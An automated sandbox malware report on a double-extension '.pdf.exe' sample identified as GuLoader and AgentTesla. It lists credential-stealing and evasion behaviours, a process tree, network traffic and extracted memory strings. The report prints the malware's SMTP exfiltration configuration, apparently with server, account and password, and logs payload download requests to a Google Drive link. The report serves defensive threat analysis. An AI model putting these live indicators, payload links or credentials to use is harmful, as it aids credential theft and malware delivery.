Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
008s06523610054680b6011375030062022.pdf.exe

Overview

General Information

Sample Name:008s06523610054680b6011375030062022.pdf.exe
Analysis ID:743398
MD5:4ee5255998226b831376e7b4eb562a48
SHA1:84dbc5bc06aa88d931d795c262c959e76e8c2920
SHA256:12937c11d2e57fd765506ce887b29efedc923a273464d83524334e061d78224c
Infos:

Detection

AgentTesla, GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected GuLoader
Tries to steal Mail credentials (via file / registry access)
Initial sample is a PE file and has a suspicious name
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses an obfuscated file name to hide its real file extension (double extension)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Uses SMTP (mail sending)
PE / OLE file has an invalid certificate
Contains functionality to enumerate device drivers
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

  • System is w10x64native
  • 008s06523610054680b6011375030062022.pdf.exe (PID: 8376 cmdline: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe MD5: 4EE5255998226B831376E7B4EB562A48)
    • CasPol.exe (PID: 4644 cmdline: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
    • CasPol.exe (PID: 5000 cmdline: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
      • conhost.exe (PID: 5012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
  • cleanup
{"Exfil Mode": "SMTP", "SMTP Info": "mail.ardsmmm.comahmet@ardsmmm.commBxy6eZB**oficinaabonosjuanluca@gmail.com"}
SourceRuleDescriptionAuthorStrings
00000005.00000000.1271980105.0000000000C00000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
      00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
          Process Memory Space: 008s06523610054680b6011375030062022.pdf.exe PID: 8376JoeSecurity_GuLoader_3Yara detected GuLoaderJoe Security
            Click to see the 2 entries
            No Sigma rule has matched
            No Snort rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: 008s06523610054680b6011375030062022.pdf.exeVirustotal: Detection: 40%Perma Link
            Source: 008s06523610054680b6011375030062022.pdf.exeReversingLabs: Detection: 46%
            Source: 008s06523610054680b6011375030062022.pdf.exe.8376.2.memstrminMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "mail.ardsmmm.comahmet@ardsmmm.commBxy6eZB**oficinaabonosjuanluca@gmail.com"}
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
            Source: unknownHTTPS traffic detected: 142.250.185.142:443 -> 192.168.11.20:49800 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.185.225:443 -> 192.168.11.20:49801 version: TLS 1.2
            Source: 008s06523610054680b6011375030062022.pdf.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,2_2_00405C49
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_00406873 FindFirstFileW,FindClose,2_2_00406873
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040290B FindFirstFileW,2_2_0040290B
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Joe Sandbox ViewIP Address: 185.111.247.38 185.111.247.38
            Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8onm1cb9e2ovt0bpcco65eo93j/1668108900000/13254490670465695558/*/1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O?e=download&uuid=367e4c92-b7a2-4967-b3bb-34165439c218 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-08-2c-docs.googleusercontent.comConnection: Keep-Alive
            Source: global trafficTCP traffic: 192.168.11.20:49803 -> 185.111.247.38:587
            Source: global trafficTCP traffic: 192.168.11.20:49803 -> 185.111.247.38:587
            Source: unknownNetwork traffic detected: HTTP traffic on port 49800 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49801 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49801
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49800
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: CasPol.exe, 00000005.00000002.5883419670.000000001D445000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
            Source: CasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
            Source: CasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
            Source: CasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://EbMTHD.com
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ac.economia.gob.mx/cps.html0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ac.economia.gob.mx/last.crl0G
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv2.crl0
            Source: CasPol.exe, 00000005.00000002.5899554401.000000001F69E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
            Source: CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ardsmmm.com
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca.mtin.es/mtin/DPCyPoliticas0g
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca.mtin.es/mtin/crl/MTINAutoridadRaiz03
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca.mtin.es/mtin/ocsp0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://certificates.starfieldtech.com/repository/1604
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://certs.oati.net/repository/OATICA2.crl0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://certs.oati.net/repository/OATICA2.crt0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crl
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://certs.oaticerts.com/repository/OATICA2.crt08
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
            Source: CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.letsencrypt.org0
            Source: CasPol.exe, 00000005.00000002.5899554401.000000001F69E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.root-x1.letsencrypt.org0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cps.siths.se/sithsrootcav1.html0
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1498431615.0000000001023000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.defence.gov.au/pki0
            Source: CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1498431615.0000000001023000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5861516693.0000000001035000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: CasPol.exe, 00000005.00000002.5899554401.000000001F69E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.oces.trust2408.com/oces.crl0
            Source: CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/SGCA.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.securetrust.com/STCA.crl0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0
            Source: CasPol.exe, 00000005.00000002.5903230575.0000000020240000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/
            Source: CasPol.exe, 00000005.00000002.5898386545.000000001F5E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en-
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/CABD2A79A1076A31F21D253635CB0
            Source: CasPol.exe, 00000005.00000002.5898386545.000000001F5E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/CABD2A79A1076A31F21D253635
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://eca.hinet.net/repository/CRL2/CA.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
            Source: CasPol.exe, 00000005.00000002.5899915491.000000001F6B3000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
            Source: CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;
            Source: CasPol.exe, 00000005.00000002.5884663750.000000001D4A8000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1588930365.000000001C0D1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fh2hSlJHeuVyj1f13k.org
            Source: CasPol.exe, 00000005.00000002.5904537073.00000000202E0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664159992.00000000202E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://http.fpki.gov/fcpca/caCertsIssuedByfcpca.p7c0
            Source: CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.ardsmmm.com
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.accv.es0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.eca.hinet.net/OCSP/ocspG2sha20
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.ncdc.gov.sa0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.pki.gva.es0
            Source: CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.suscerte.gob.ve0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pki.registradores.org/normativa/index.htm0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://policy.camerfirma.com0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://postsignum.ttc.cz/crl/psrootqca2.crl0
            Source: CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://r3.i.lencr.org/0%
            Source: CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://r3.o.lencr.org0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/0
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://s.symcb.com/universal-root.crl0
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://s.symcd.com06
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0
            Source: CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
            Source: 008s06523610054680b6011375030062022.pdf.exeString found in binary or memory: http://ts-ocsp.ws.symantec.com0;
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://web.ncdc.gov.sa/crl/nrcacomb1.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://web.ncdc.gov.sa/crl/nrcaparta1.crl
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.acabogacia.org/doc0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.acabogacia.org0
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es/legislacion_c.htm0U
            Source: CasPol.exe, 00000005.00000003.1638639525.00000000202DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.accv.es00
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.agesic.gub.uy/acrn/acrn.crl0)
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.agesic.gub.uy/acrn/cps_acrn.pdf0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ancert.com/cps0
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.anf.es
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.anf.es/AC/RC/ocsp0c
            Source: CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.anf.es/es/address-direccion.html
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ca.posta.rs/dokumentacija0h
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.cert.fnmt.es/dpcs/0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certicamara.com/dpc/0Z
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class1.crl0
            Source: CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class2.crl0
            Source: CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class3.crl0
            Source: CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
